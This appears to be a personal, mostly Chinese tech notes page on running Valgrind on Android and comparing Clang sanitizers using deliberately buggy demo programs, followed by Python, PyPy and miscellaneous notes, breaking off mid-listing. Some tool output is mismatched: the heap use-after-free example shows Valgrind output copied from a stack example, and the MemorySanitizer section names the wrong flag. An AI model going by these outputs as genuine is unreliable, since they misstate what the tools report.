$ cd valgrind
$ export AR=$NDKROOT/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin/arm-linux-androideabi-ar
$ export LD=$NDKROOT/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin/arm-linux-androideabi-ld
$ export CC=$NDKROOT/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin/arm-linux-androideabi-gcc
$ ./autogen.sh
$ CPPFLAGS="--sysroot=$NDKROOT/platforms/android-21/arch-arm" \
      CFLAGS="--sysroot=$NDKROOT/platforms/android-21/arch-arm" \
      ./configure --prefix=/data/local/Inst \
      --host=armv7-unknown-linux --target=armv7-unknown-linux \
      --with-tmpdir=/sdcard
$ make -j8
$ make -j8 install DESTDIR=`pwd`/Inst
$ file Inst/data/local/Inst/bin/valgrind    # Check
Inst/data/local/Inst/bin/valgrind: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, not stripped

# push to device
$ adb push Inst /

Running Valgrind on Android ¶

一個成功 cross-compile 的 Valgrind 可以像一般使用一樣，直接用 $ valgrind COMMAND 就可以執行內部的指令，但是對於 Android 上的其他應用程式 (例如 browser) 則需做額外的處理，因為那些程式一般是用 Android 的 Activity Manager (am) 來開啟，如果是在 Valgrind 後面接 Activity Manager 的話會在開啟程式後就離開，無法對程式進行我們想要的 instrumentation，解法是依然使用 Activity Manager 開啟程式，但是把 Valgrind 設成該程式的 wrapper，透過 Activity Manager 把 Valgrind 跑起來，這樣就可以避開這個問題了。

(Notice: 如果是在 Android Emulator 上面跑的話，可能會需要 --kernel-variant=android-emulator-no-hw-tls)

script 1 : start_valgrind.sh

#!/system/bin/sh

PACKAGE="com.android.browser"

export TMPDIR=/data/data/$PACKAGE

VGPARAMS="--log-file=$TMPDIR/valgrind.log.%p --error-limit=no --trace-children=yes"

# Memcheck tool
VGPLUGIN="--tool=memcheck --leak-check=full --show-reachable=yes"

echo "valgrind args: $*"
exec /data/local/Inst/bin/valgrind $VGPARAMS $VGPLUGIN $*

stcript 2 : bootstrap_valgrind.sh

#!/usr/bin/env sh

PACKAGE="com.android.browser"
ACTIVITY=".BrowserActivity"


adb push start_valgrind.sh /data/local/Inst/bin/
adb shell chmod 777 /data/local/Inst/bin/start_valgrind.sh

adb root
adb shell setprop wrap.$PACKAGE "logwrapper /data/local/Inst/bin/start_valgrind.sh"

echo "wrap.$PACKAGE: $(adb shell getprop wrap.$PACKAGE)"

# -S: force stop the target app before starting the activity
# -D: enable debugging
# -a: <ACTION> Specify the intent action, such as "android.intent.action.VIEW". You can declare this only once.
# -n: <COMPONENT> Specify the component name with package name prefix to create an explicit intent, such as "com.example.app/.ExampleActivity".

adb shell am start -S -a android.intent.action.MAIN -n $PACKAGE/$ACTIVITY

adb logcat -c   # -c: clears (flushes) the entire log and exits.
adb logcat

Problems ¶

Linker - Unsupported Flags ¶

WARNING: linker: Unsupported flags DT_FLAGS_1=0x421

Unhandled Instruction ¶

disInstr(arm): unhandled instruction: 0xEC510F1E
                cond=14(0xE) 27:20=197(0xC5) 4:4=1 3:0=14(0xE)
==1897== valgrind: Unrecognised instruction at address 0x4b27948.
==1897==    at 0x4B27948: _armv7_tick (in /system/lib/libcrypto.so)

https://bugs.kde.org/show_bug.cgi?id=344802

Contribute to AOSP Valgrind ¶

Android Code Review
- 註冊帳號的方法就是直接用 Google 帳號登入
- 註冊完去 setting 裡點 Contributor Agreement

Valgrind 實際案例 ¶

CPython ¶

Questions ¶

對已經在執行的程式掛上 Valgrind ?¶

不可行，Valgrind 內在執行程式的環境跟一般情況差很多 (例如 memory layout 不同)，所以 Valgrind 需要在一開始就取得所有的掌控權。

Is it possible to attach Valgrind to a program that is already running?

讓 Valgrind 只對部份程式做 Instrumentation ?¶

可以辦到的，但是要看 plugin 有沒有做，目前只有 Callgrind 支援 (callgrind_control)。

It is possible to achieve something like this by running your program without any instrumentation (which involves a slow-down of about 5x, less than that of most tools), and then adding instrumentation once you get to a point of interest.

Kernel Memory Leak Detect ?¶

Kmemleak - Kernel Memory Leak Detector
[2006] Detecting kernel memory leaks
[GitHub] KEDR
- KEDR is a framework for dynamic (runtime and post factum) analysis of Linux kernel modules
- KEDR (LeakCheck) and Kmemleak

Valgrind for Kernel ?¶

Valgrind instrument 的對象是 user-space 的程式， kernel 的話不太行，不知道要跟 QEMU 搭配使用來 instrument kernel 需要多大的修改？

Reference ¶

Wikipedia - Valgrind
Wikipedia - Shadow memory
Wikipedia - AddressSanitizer
Valgrind - Massif: a heap profiler
Chromium - Deep Memory Profiler
Using and understanding the Valgrind core
Using and understanding the Valgrind core: Advanced Topics
The Design and Implementation of Valgrind
Writing a New Valgrind Tool
[2015] Porting Valgrind to NetBSD and OpenBSD
Valgrind Research Papers
[2003] Valgrind: A Program Supervision Framework
[2007] Valgrind: A Framework for Heavyweight Dynamic Binary Instrumentation
[2008] Optimizing Binary Code Produced by Valgrind
[FOSDEM] 2015 - IgProf The Ignominous Profiler
Improving the support for ARM in the IgProf proiler

Android ¶

Sanitizer¶

Introduction¶

寫程式常碰到有 bug，用 C 或 C++ 這種程式語言寫的話， bug 又常跟記憶體有關，這時常常會使用 Valgrind 來找問題，而近幾年又多了一些 compiler 參數可以幫忙。

當要跑的平台上可以用 compiler 參數來檢查時，可以考慮就先使用 compiler 參數，如果要用的 compiler 沒支援這參數或是 compiler 沒支援要跑的平台，那麼可以考慮 Valgrind，雖然比較慢，但是可用的平台和能偵測的項目很多。

compiler 的 sanitizer 這邊有些細部要注意，在一些條件下可能會不支援。

Clang
- AddressSanitizer
  
  memory error detector
  
  a compiler instrumentation module and a run-time library
- MemorySanitizer
  
  detector of uninitialized reads
  
  a compiler instrumentation module and a run-time library
- ThreadSanitizer
  
  detects data races
- LeakSanitizer
  
  detects memory leaks
- UndefinedBehaviorSanitier

這三個只能分開使用，不能一起用：

AddressSanitizer
ThreadSanitizer
MemorySanitizer

UndefinedBehaviorSanitier 可以和其他種結合
LeakSanitizer 目前只可以和 AddressSanitizer 一起用 (或自己用)

Name	Slowdown	Memory Overhead	Option
AddressSanitizer	2x	4x	-fsanitize=address
ThreadSanitizer	5x ~ 15x	5x ~ 10x	-fsanitize=thread
MemorySanitizer	3x (4x with origin tracking)	2x (3x with origin tracking)	-fsanitize=memory
LeakSanitizer	0x (with ASan)		-fsanitize=leak
UndefinedBehaviorSanitier	0x		-fsanitize=undefined

+----------------------------+   no
| 你想要找 memory 相關的 bug |---------> 不在這邊的討論範圍內
+----------------------------+
            |
            | yes
            |
            v
+-------------------------+  no
| 專案使用 Clang/GCC 編譯 |---------> 用 Valgrind
+-------------------------+
            |                                          +---------------------+
            | yes                                   +->| 找其他 Memory Error |--+
            |                                       |  +---------------------+  |
            v                                       |                           |
+----------------------+  no   +--------------+  no |  +----------------+       |
| 尋找存取未初始化的值 |------>| 找 data race |-----+->| 找 memory leak |       |
+----------------------+       +--------------+        +----------------+       |
            |                          |                      |                 |
            | yes                      | yes                  | yes             | yes
            |                          |                      |                 |
            v                          v                      v                 v
    MemorySanitizer            ThreadSanitizer           LeakSanitizer    AddressSanitizer
                                                              |                 |
                                                              |                 |
                                                              +--------+--------+
                                                                       |
                                                                       v
                                                        LeakSanitizer + AddressSanitizer

+----------------------+
| 找 undefine behavior |
+----------------------+
            |
            |
            |
            v
UndefinedBehaviorSanitier

(目前提到的 Compiler Instrumentation 對於 JIT 這種 code 還不太適用)

利用這邊的工具除錯時，推薦的優化參數： -O1 -fno-omit-frame-pointer -fno-optimize-sibling-calls
- -O1 是為了關掉 inline
- -fno-omit-frame-pointer 是為了更好的 stack trace 訊息
- -fno-optimize-sibling-calls 是為了關掉 tail call elimination

PASS 1 : -fsanitize=leak -fsanitize=address -fsanitize=undefined
- Memory Leaks
- 大部分的 Memory 相關錯誤
- Undefined Behavior
PASS 2 : -fsanitize=memory
- 找出未初始化的值的使用
PASS 3 : -fsanitize=thread
- 找出 data races

AddressSanitizer¶

AddressSanitizer 目前支援以下幾種情況：

(OOB) Out-of-bounds accesses to heap, stack and globals
(UAF) Use-after-free
(UAR) Use-after-return (to some extent)
Double-free, invalid free
Memory leaks (experimental)

(最後生成 executable 時，需要把 AddressSanitizer run-time library link 上去，所以最後的 link step 要用 clang，不能用 ld)

遇到錯誤會馬上停止，developer 會被強迫修正問題後才能繼續執行。

Example 1¶

Source Code :

int main() {
    // UAF (Use After Free)
    int *array = new int[42];
    delete [] array;
    return array[0];    // BOOM
}

Compile :

$ clang++ -O1 -g -fsanitize=address -fno-omit-frame-pointer example.cpp -o example

Run :

$ ./example
=================================================================
==26771==ERROR: AddressSanitizer: heap-use-after-free on address 0x60f00000ef50 at pc 0x0000004dc22c bp 0x7fffc3c85060 sp 0x7fffc3c85058
READ of size 4 at 0x60f00000ef50 thread T0
    #0 0x4dc22b in main /tmp/example.cpp:5:12
    #1 0x300042078f in __libc_start_main (/usr/lib/libc.so.6+0x300042078f)
    #2 0x434fa8 in _start (/tmp/example+0x434fa8)

0x60f00000ef50 is located 0 bytes inside of 168-byte region [0x60f00000ef50,0x60f00000eff8)
freed by thread T0 here:
    #0 0x4dbb22 in operator delete[](void*) (/tmp/example+0x4dbb22)
    #1 0x4dc1fa in main /tmp/example.cpp:4:5
    #2 0x300042078f in __libc_start_main (/usr/lib/libc.so.6+0x300042078f)

previously allocated by thread T0 here:
    #0 0x4db562 in operator new[](unsigned long) (/tmp/example+0x4db562)
    #1 0x4dc1ef in main /tmp/example.cpp:3:18
    #2 0x300042078f in __libc_start_main (/usr/lib/libc.so.6+0x300042078f)

SUMMARY: AddressSanitizer: heap-use-after-free /tmp/example.cpp:5 main
Shadow bytes around the buggy address:
0x0c1e7fff9d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c1e7fff9de0: fa fa fa fa fa fa fa fa fa fa[fd]fd fd fd fd fd
0x0c1e7fff9df0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
0x0c1e7fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable:           00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone:       fa
Heap right redzone:      fb
Freed heap region:       fd
Stack left redzone:      f1
Stack mid redzone:       f2
Stack right redzone:     f3
Stack partial redzone:   f4
Stack after return:      f5
Stack use after scope:   f8
Global redzone:          f9
Global init order:       f6
Poisoned by user:        f7
Container overflow:      fc
Array cookie:            ac
Intra object redzone:    bb
ASan internal:           fe
Left alloca redzone:     ca
Right alloca redzone:    cb
==26771==ABORTING

Compile :

$ clang++ -O1 -g -fsanitize=address -fno-omit-frame-pointer example.cpp -o example

Run with Valgrind :

$ valgrind ./example
==28951== Memcheck, a memory error detector
==28951== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==28951== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
==28951== Command: ./example
==28951==
==28951== Invalid read of size 4
==28951==    at 0x4005A7: main (in /tmp/example)
==28951==  Address 0xfff000674 is on thread 1's stack
==28951==  412 bytes below stack pointer
==28951==
==28951==
==28951== HEAP SUMMARY:
==28951==     in use at exit: 72,704 bytes in 1 blocks
==28951==   total heap usage: 1 allocs, 0 frees, 72,704 bytes allocated
==28951==
==28951== LEAK SUMMARY:
==28951==    definitely lost: 0 bytes in 0 blocks
==28951==    indirectly lost: 0 bytes in 0 blocks
==28951==      possibly lost: 0 bytes in 0 blocks
==28951==    still reachable: 72,704 bytes in 1 blocks
==28951==         suppressed: 0 bytes in 0 blocks
==28951== Rerun with --leak-check=full to see details of leaked memory
==28951==
==28951== For counts of detected and suppressed errors, rerun with: -v
==28951== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

Example 2 (Can Not Detect) (Neither Valgrind ...)¶

Source Code :

int main() {
    int *ptr= nullptr;

    {
        int array[42];
        array[0] = 42;
        ptr = array;
    }

    ptr[0] = 99;

    return ptr[0];    // ptr points to an array which is out of scope !!!
}

Compile :

$ clang++ -O1 -g -fsanitize=address -fno-omit-frame-pointer example.cpp -o example

Run :

$ ./example
# nothing happen ...

Example 3 (Can Not Detect) (Valgrind can find it !!!)¶

Source Code :

void f(int **pptr) {
    int array[42];
    array[0] = 42;
    *pptr = array;
}

int main() {
    int *ptr= nullptr;
    f(&ptr);
    ptr[0] = 99;
    return ptr[0];    // ptr points to an array which is out of scope !!!
}

Compile :

$ clang++ -O1 -g -fsanitize=address -fno-omit-frame-pointer example.cpp -o example

Run :

$ ./example
# nothing happen ...

Compile :

$ clang++ -O1 -g -fsanitize=address -fno-omit-frame-pointer example.cpp -o example

Run with Valgrind :

$ valgrind ./example
==13109== Memcheck, a memory error detector
==13109== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==13109== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
==13109== Command: ./example
==13109==
==13109== Invalid write of size 4
==13109==    at 0x4005AD: main (example.cpp:10)
==13109==  Address 0xfff000760 is on thread 1's stack
==13109==  176 bytes below stack pointer
==13109==
==13109== Invalid read of size 4
==13109==    at 0x4005B7: main (in /tmp/example)
==13109==  Address 0xfff000760 is on thread 1's stack
==13109==  176 bytes below stack pointer
==13109==
==13109==
==13109== HEAP SUMMARY:
==13109==     in use at exit: 72,704 bytes in 1 blocks
==13109==   total heap usage: 1 allocs, 0 frees, 72,704 bytes allocated
==13109==
==13109== LEAK SUMMARY:
==13109==    definitely lost: 0 bytes in 0 blocks
==13109==    indirectly lost: 0 bytes in 0 blocks
==13109==      possibly lost: 0 bytes in 0 blocks
==13109==    still reachable: 72,704 bytes in 1 blocks
==13109==         suppressed: 0 bytes in 0 blocks
==13109== Rerun with --leak-check=full to see details of leaked memory
==13109==
==13109== For counts of detected and suppressed errors, rerun with: -v
==13109== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0)

Example 4 (Can Not Detect) (Valgrind can find it !!!)¶

from address-sanitizer - Example: UseAfterReturn

Source Code :

int *ptr;
__attribute__((noinline))
void FunctionThatEscapesLocalObject() {
    int local[100];
    ptr = &local[0];
}

int main(int argc, char **argv) {
    FunctionThatEscapesLocalObject();
    return ptr[argc];
}

Compile :

$ clang++ -O1 -g -fsanitize=address -fno-omit-frame-pointer example.cpp -o example

Run :

$ ./example
# nothing happen ...

Compile :

$ clang++ -O1 -g -fno-omit-frame-pointer example.cpp -o example

Run with Valgrind :

$ valgrind ./example
==27388== Memcheck, a memory error detector
==27388== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==27388== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
==27388== Command: ./example
==27388==
==27388== Invalid read of size 4
==27388==    at 0x4005A7: main (in /tmp/example)
==27388==  Address 0xfff000674 is on thread 1's stack
==27388==  412 bytes below stack pointer
==27388==
==27388==
==27388== HEAP SUMMARY:
==27388==     in use at exit: 72,704 bytes in 1 blocks
==27388==   total heap usage: 1 allocs, 0 frees, 72,704 bytes allocated
==27388==
==27388== LEAK SUMMARY:
==27388==    definitely lost: 0 bytes in 0 blocks
==27388==    indirectly lost: 0 bytes in 0 blocks
==27388==      possibly lost: 0 bytes in 0 blocks
==27388==    still reachable: 72,704 bytes in 1 blocks
==27388==         suppressed: 0 bytes in 0 blocks
==27388== Rerun with --leak-check=full to see details of leaked memory
==27388==
==27388== For counts of detected and suppressed errors, rerun with: -v
==27388== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

MemorySanitizer¶

compile 時加上參數 : -fsanitize=address

Example 1¶

前面用過的範例，再用一次

Source Code :

int *ptr;
__attribute__((noinline))
void FunctionThatEscapesLocalObject() {
    int local[100];
    ptr = &local[0];
}

int main(int argc, char **argv) {
    FunctionThatEscapesLocalObject();
    return ptr[argc];
}

Compile :

$ clang++ -O1 -g -fsanitize=memory -fno-omit-frame-pointer example.cpp -o example

Run :

$ ./example
==12719== WARNING: MemorySanitizer: use-of-uninitialized-value
    #0 0x7f1030669d16 in main /tmp/example.cpp:11:9
    #1 0x7f102f17578f in __libc_start_main (/usr/lib/libc.so.6+0x300042078f)
    #2 0x7f1030615798 in _start (/tmp/example+0x35798)

SUMMARY: MemorySanitizer: use-of-uninitialized-value /tmp/example.cpp:11 main
Exiting

Algorithm¶

AddressSanitizer algorithm

Status¶

ASan¶

目前支援：

i386
i686
x86_64
ARM 32
ARM 64
MIPS
MIPS64
...

LSan¶

目前支援：

x86_64
MIPS64
MIPS64EL

compiler-rt/lib/lsan/lsan_common.cc 裡的 ScanRangeForPointers() 負責 memory scan

LSan on ARM only finds about 15% of leaks. The results are close to valgrind's on x86 so we decided to halt our work.

MSan¶

目前支援：

x86_64
MIPS64
MIPS64EL

TSan¶

目前支援：

x86_64
MIPS64
MIPS64EL

Reference¶

Stack Protection¶

Canary (randomly chosen integer)
- 在 Stack 的 return pointer 前放上一個 random number，在回傳前檢查這個數字是否有被改到，若有被改到就代表值被蓋掉了
libsafe

Reference¶

Funny Sites¶

鳥獸戲畫製造機

Jargons¶

nasal demons¶

Recognized shorthand on the Usenet group comp.std.c for any unexpected behavior of a C compiler on encountering an undefined construct. During a discussion on that group in early 1992, a regular remarked “When the compiler encounters a given undefined construct it is legal for it to make demons fly out of your nose” (the implication is that the compiler may choose any arbitrarily bizarre way to interpret the code without violating the ANSI C standard). Someone else followed up with a reference to “nasal demons”, which quickly became established. (see Jargon)

Your program has nasal demons.

Misc¶

Podcast¶

Talk Python To Me¶

#	日期	主題	來賓
15	2015-07-07	Python at Spotify, PSF, and PyLadies	Lynn Root
14	2015-06-30	Moving from PHP to Python 3 with Patreon	Albert Sheu
13	2015-06-23	Flask web framework and much, much more	Armin Ronacher
12	2015-06-16	Deep Dive into Modules and Packages	David Beazley
11	2015-06-09	PyImageSearch and Computer Vision	Adrian Rosebrock
10	2015-06-02	Bringing Python to the Masses with Hosting and DevOps at PythonAnywhere	Harry Percival
9	2015-05-26	Docker for the Python Developer	Patrick Chanezon
8	2015-05-19	Teaching Python at Grok Learning and Classrooms	Dr. James Curran
7	2015-05-12	Robot Operating System (ROS) and ROSPy	Dirk Thomas
6	2015-05-05	Requests, PyCon, and Python’s future	Kenneth Reitz
5	2015-04-28	SQLAlchemy and data access in Python	Mike Bayer
4	2015-04-23	Enterprise Python and Large-Scale Projects	Mahmoud Hashemi
3	2015-04-16	Pyramid Web Framework	Chris McDonough
2	2015-04-07	Python and MongoDB	Jesse Davis
1	2015-03-31	EVE - RESTful APIs for humans	Nicola Iarocci
0	2015-03-21	Introducing the show!	Michael Kennedy

Podcast.init¶

#	日期	主題	來賓
14	2015-06-22	Teaching Computer Science with Python	Allen Downey
13	2015-06-17	KivEnt	Jacob Kovac
12	2015-06-10	Fighting Human Trafficking With Python	Eric Schles
11	2015-06-10	Women and Diversity in Python	Tracy Osborn, Naomi Ceder, Lynn Root
10	2015-06-03	IPython Project	Brian Granger, Fernando Perez
9	2015-06-02	Flask-Dance, Webhook DB and Open EdX	David Baumgold
8	2015-05-28	Python’s Role in Information Security	Mark Baggett
7	2015-05-18	Addressing Cultural Issues In The Tech Industry	Jacob Kaplan
6	2015-05-17	Prompt Toolkit	Jonathan Slenders
5	2015-05-04		Ned Batchelder
4	2015-04-28		Travis Oliphant
3	2015-04-22		Kivy Core Developers
2	2015-04-21		Reuven Lerner
1	2015-04-08	SaltStack	Thomas Hatch
0	2015-03-30	Introductory Episode	Tobias Macey, Chris Patti

Statifier¶

Statifier 的目標是要建立 portable、self-contained 的 Linux executables，要達到這樣的目標 Statifier 做的是把原本 dynamic linking 的程式所用到的 shared libraries 都抓進去，變成單一一個靜態連結執行檔，不需要外部的 dependency。

不過目前 Statifier 在某些情況下還無法達成效果，另外非開源的 Ermine 則是說已經成功支援了。

Reference¶

Video¶

Revolution OS
Code Rush
The Unix System: Making Computers Easier to Use
A Narrative History of BSD
Pirates of Silicon Valley
Linux: A Short Documentary
The Code

Vulkan¶

Vulkan 為 low-overhead 的跨平台 3D 繪圖、計算 API，在 GDC 2015 由 Khronos Group 所公佈，被視為下一代的 OpenGL，其概念源自 AMD 的 Mantle。

Reference¶

Wikipedia - Vulkan (API)

ffmpeg¶

$ ffmpeg -i input.mp4 -strict experimental -vcodec libx264 output.mp4

Disease (疾病)¶

手汗症 (Palmar Hyperhidrosis)¶

疾病本身性質
- 以亞熱帶地區的人種最常擁有
- 腳汗可能也很多
- 汗腺是由交感神經所控制，手汗症為不明原因造成交感神經過度緊張
- 可能具有家族遺傳性
影響
- 生活上的不便 (健康上似乎沒有影響)
- 寫字可能需要在紙上墊東西，不然簿子很容易破
- 畫卡可能會糊掉
- 跟別人握手時顯的稍微尷尬
- 使用某些樂器時會不方便
- 因為從小累積的經驗，導致對於手汗可能會影響的地方會特別警戒 (書籍、握手、...)
手術
- 在交感神經上動手腳
  
  切 T4 (第四節交感神經)
  
  切 T2 (舊方法)
- 可能引發「代償性出汗」，從身體其他部位流出
- 其他可能的術後後遺症
  
  氣胸
  
  皮下氣腫
  
  肺炎
PTT : ETS_residual

Non CS Books¶

一九八四¶

Wikipedia - 一九八四

Todo¶

Meme¶

文化資訊傳承時的單位。

「一個想法，行為或風格從一個人到另一個人的文化傳播過程。」

VISA & Bitcoin¶

Odd bedfellows: the strange history of VISA and bitcoin

簡單介紹¶

路過在 Neovim 的 issue 上發現有提到，只好跑過取幫忙補充資料 (?

以下是回復訊息

just some comments about PyPy :P

AFAIK, they are creating a framework (and toolchain) for writing dynamic languages’ VM. They use a language called RPython to implement interpreter, and the toolchain can generate Tracing JIT and GC for you. The RPython is a language similar to Python with some restriction of features which are too much dynamic. The major concept is the toolchain will do type inference and some analysis for RPython to generate better result. The overall result is decided by backend, they are using a backend called GenC which generate C code now (but someone can still make other backends, e.g. generate Java bytecode).

So, PyPy is a Python interpreter written in RPython and compiled by GCC or Clang (with RPython’s GenC backend).

Pros:

you can write interpreter in RPython which may cost less effort compare to C or C++ or something.
you can get a JIT easily (3 lines for a basic version, use some Python decorator can improve it)
you can get a incremental generational mark-and-sweep GC easily (by just a CLI option)
you can get some improvement by just update RPython toolchain in the future (JIT or GC or something) (or maybe Software Transactional Memory which they still working on)

Cons:

RPython’s restriction is still not well documented (they have written something, but not specific)
the toolchain to generate JIT is still slow and need some resource (IIRC, about 16 mins for just generating and compiling a normal Brainfuck interpreter, I tried it last winter)
we need to make the new VM available for a lot of platforms (effort here)
maybe the debugging will be much more complex ?

Notice: I’m not a master of this :P

Documentation

RPython’s documentation

Other Languages’ implementation

Lisp : Pixie
PHP : HippyVM
Ruby : Topaz
Prolog : Pyrolog
Smalltalk : RSqueak

Python AST¶

AST Optimization¶

Python’s Concurrency¶

Reference¶

Some Deprecated Things¶

use “argparse” instead of “optparse”¶

optparse is deprecated since version 2.7

https://argparse.googlecode.com/svn/trunk/doc/argparse-vs-optparse.html

Python - Install Packages¶

我之前在 bs2 上回應了一篇文章，轉移到這邊來 :P

要如何安裝 Python 的第三方套件 ?¶

(這邊事主問的是 matplotlib)

每個作業系統的狀況不一樣， pip 是方便的跨平台解決方案，基本上就是 pip install XXX 打完收工 (各平台都適用)。 Python 3.4 和 Pytho 2.7.9 開始內建 pip (舊版就要額外安裝)，不過如果直接拿來裝東西的話會需要系統權限，通常會搭配 virtualenv 做出個 local 的隔離環境來安裝開發用的套件，如果是作業系統是 Linux 的話，還可以用內建的套件管理裝 (大部分的 distribution 應該都有 matplotlib)， Mac 的話則還有 MacPorts 或 Homebrew 等解決方案。 Windows 的話就比較麻煩，還要先把 Python 裝起來 ... (Linux 是內建會有 Python) Windows 去裝包好的一整套工具應該比較容易 @@...

Some Packages¶

tablib
- JSON, YAML, DBF, CSV to XLSX, XLS, ODS, JSON, YAML, DBF, CSV, TSV, HTML

遷移至 Python 3¶

有些現成的專案是使用 Python 2 寫的，但是現在 Python 的新發展都放在 Python 3，想要把 Python 2 的專案遷移到 Python 3 可以很簡單也可以很困難，端看專案裡的 code，最簡單的只要用 2to3 這個官方工具轉換一下後就差不多完成了，有些還需要做更多的處理，這邊有個叫 Supporting Python 3 的網站蒐集了一些 Python 2 轉移到 Python 3 需要注意的事情和資源可以參考。

** operator v.s. math.pow¶

不知道有沒有注意過， Python 裡面有 ** operator 可以做指數運算，而 math.pow 也可以做指數運算，到底差在哪裡？甚至有時候 ** operator 會比較快，為什麼？

主要的差別在於 math.pow 會把傳入的兩個參數都先轉成 float ，可以保證回傳的一定是 float ， ** 則不一定 (甚至可以做虛數次方的運算)。另外一個點是 ** 的行為可以根據 __pow__ 和 __rpow__ 來改變，而 math.pow 則不會，如果不想使用到 __pow__ 或 __rpow__ 的東西的話，可以指定使用 math.pow 。

寫一段小程式測試：

from dis import dis
from timeit import timeit

operations = ( ('2 ** 42', ''),
            ('pow(2, 42)', ''),
            ('math.pow(2, 42)', 'import math'),
            ('2 ** i', 'i = 42'),
            ('pow(2, i)', 'i = 42'),
            ('math.pow(2, i)', 'import math; i = 42'),
            ('i ** j', 'i, j = 2, 42'),
            ('pow(i, j)', 'i, j = 2, 42'),
            ('math.pow(i, j)', 'import math; i, j = 2, 42'), )

result = []

for operation in operations:
    expr, setup = operation
    time = timeit(expr, setup=setup)
    result.append('{:16}: {:<21} s'.format(expr, time))

print('\n'.join(result))

for operation in operations:
    expr, _ = operation
    print('\n{} :\n'.format(expr))
    dis(expr)

Python 3.4 :

2 ** 42         : 0.02503299992531538   s
pow(2, 42)      : 0.5010730230715126    s
math.pow(2, 42) : 0.4331468460150063    s
2 ** i          : 0.3975521819666028    s
pow(2, i)       : 0.5939885310363024    s
math.pow(2, i)  : 0.2997760840225965    s
i ** j          : 0.48525534803047776   s
pow(i, j)       : 0.5479897629702464    s
math.pow(i, j)  : 0.2728949940064922    s

2 ** 42 :

1           0 LOAD_CONST               2 (4398046511104)
            3 RETURN_VALUE

pow(2, 42) :

1           0 LOAD_NAME                0 (pow)
            3 LOAD_CONST               0 (2)
            6 LOAD_CONST               1 (42)
            9 CALL_FUNCTION            2 (2 positional, 0 keyword pair)
            12 RETURN_VALUE

math.pow(2, 42) :

1           0 LOAD_NAME                0 (math)
            3 LOAD_ATTR                1 (pow)
            6 LOAD_CONST               0 (2)
            9 LOAD_CONST               1 (42)
            12 CALL_FUNCTION            2 (2 positional, 0 keyword pair)
            15 RETURN_VALUE

2 ** i :

1           0 LOAD_CONST               0 (2)
            3 LOAD_NAME                0 (i)
            6 BINARY_POWER
            7 RETURN_VALUE

pow(2, i) :

1           0 LOAD_NAME                0 (pow)
            3 LOAD_CONST               0 (2)
            6 LOAD_NAME                1 (i)
            9 CALL_FUNCTION            2 (2 positional, 0 keyword pair)
            12 RETURN_VALUE

math.pow(2, i) :

1           0 LOAD_NAME                0 (math)
            3 LOAD_ATTR                1 (pow)
            6 LOAD_CONST               0 (2)
            9 LOAD_NAME                2 (i)
            12 CALL_FUNCTION            2 (2 positional, 0 keyword pair)
            15 RETURN_VALUE

i ** j :

1           0 LOAD_NAME                0 (i)
            3 LOAD_NAME                1 (j)
            6 BINARY_POWER
            7 RETURN_VALUE

pow(i, j) :

1           0 LOAD_NAME                0 (pow)
            3 LOAD_NAME                1 (i)
            6 LOAD_NAME                2 (j)
            9 CALL_FUNCTION            2 (2 positional, 0 keyword pair)
            12 RETURN_VALUE

math.pow(i, j) :

1           0 LOAD_NAME                0 (math)
            3 LOAD_ATTR                1 (pow)
            6 LOAD_NAME                2 (i)
            9 LOAD_NAME                3 (j)
            12 CALL_FUNCTION            2 (2 positional, 0 keyword pair)
            15 RETURN_VALUE

PyPy3 (PyPy 2.4.0, Python 3.2.5)

2 ** 42         : 0.0019397735595703125 s
pow(2, 42)      : 0.002593994140625     s
math.pow(2, 42) : 0.07702302932739258   s
2 ** i          : 0.03540802001953125   s
pow(2, i)       : 0.03392314910888672   s
math.pow(2, i)  : 0.07650113105773926   s
i ** j          : 0.03323793411254883   s
pow(i, j)       : 0.03371095657348633   s
math.pow(i, j)  : 0.07712817192077637   s

2 ** 42 :

1           0 LOAD_CONST               0 (4398046511104)
            3 RETURN_VALUE

pow(2, 42) :

1           0 LOAD_NAME                0 (pow)
            3 LOAD_CONST               0 (2)
            6 LOAD_CONST               1 (42)
            9 CALL_FUNCTION            2
            12 RETURN_VALUE

math.pow(2, 42) :

1           0 LOAD_NAME                0 (math)
            3 LOOKUP_METHOD            1 (pow)
            6 LOAD_CONST               0 (2)
            9 LOAD_CONST               1 (42)
            12 CALL_METHOD              2
            15 RETURN_VALUE

2 ** i :

1           0 LOAD_CONST               0 (2)
            3 LOAD_NAME                0 (i)
            6 BINARY_POWER
            7 RETURN_VALUE

pow(2, i) :

1           0 LOAD_NAME                0 (pow)
            3 LOAD_CONST               0 (2)
            6 LOAD_NAME                1 (i)
            9 CALL_FUNCTION            2
            12 RETURN_VALUE

math.pow(2, i) :

1           0 LOAD_NAME                0 (math)
            3 LOOKUP_METHOD            1 (pow)
            6 LOAD_CONST               0 (2)
            9 LOAD_NAME                2 (i)
            12 CALL_METHOD              2
            15 RETURN_VALUE

i ** j :

